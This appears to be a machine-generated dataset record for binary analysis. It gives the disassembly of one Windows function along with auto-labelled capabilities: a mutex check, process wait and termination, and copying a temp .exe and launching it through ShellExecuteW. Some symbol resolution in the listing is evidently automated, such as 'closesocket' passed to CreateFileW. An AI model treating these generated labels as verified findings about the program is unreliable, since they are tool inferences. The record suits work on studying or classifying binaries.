Function at 0xb324b0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
mov dword [ebp - 4], ecx
mov ecx, 0xb95418
push edi
call fcn.00b21fab
push eax
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0xb324e1
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0xb95338
mov ecx, esi
call fcn.00b2247c
push eax
mov ecx, esi
call fcn.00b21fab
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0xb952f0
push eax
push str.exepath
mov ecx, edi
call fcn.00b21fab
mov edx, eax
call fcn.00b33733
add esp, 0x14
test al, al
jne 0xb32524
push ebx
jmp 0xb324db
lea ecx, [ebp - 0x1c]
call fcn.00b220df
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.00b3c516
push ebx
test al, al
je 0xb324db
push 0x80
push 3
push ebx
push 1
push closesocket
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0xb8c4f4
mov ecx, edi
call fcn.00b21fab
mov edx, eax
call fcn.00b338b2
pop ecx
pop ecx
test al, al
je 0xb324d9
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0xb32671
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00b2247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00b21fab
mov edx, esi
mov ecx, eax
call fcn.00b3c482
pop ecx
pop ecx
test al, al
je 0xb325ef
lea eax, [ebp - 0x228]
jmp 0xb32671
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.00b56f10
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00b2247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00b21fab
mov edx, esi
mov ecx, eax
call fcn.00b3c482
pop ecx
pop ecx
test al, al
je 0xb3267e
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0xb86118
push ebx
call edi
mov esi, 0xb952f0
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0xb873b4
call fcn.00b21fab
mov edx, eax
call fcn.00b33584
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0xb326b8
push 0xb873b4
mov ecx, esi
call fcn.00b21fab
mov edx, eax
call fcn.00b339e4
pop ecx
jmp 0xb326c3
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0xb32683
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0xb8c4f4
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b338b2
pop ecx
pop ecx
test al, al
jne 0xb325a6
jmp 0xb324d9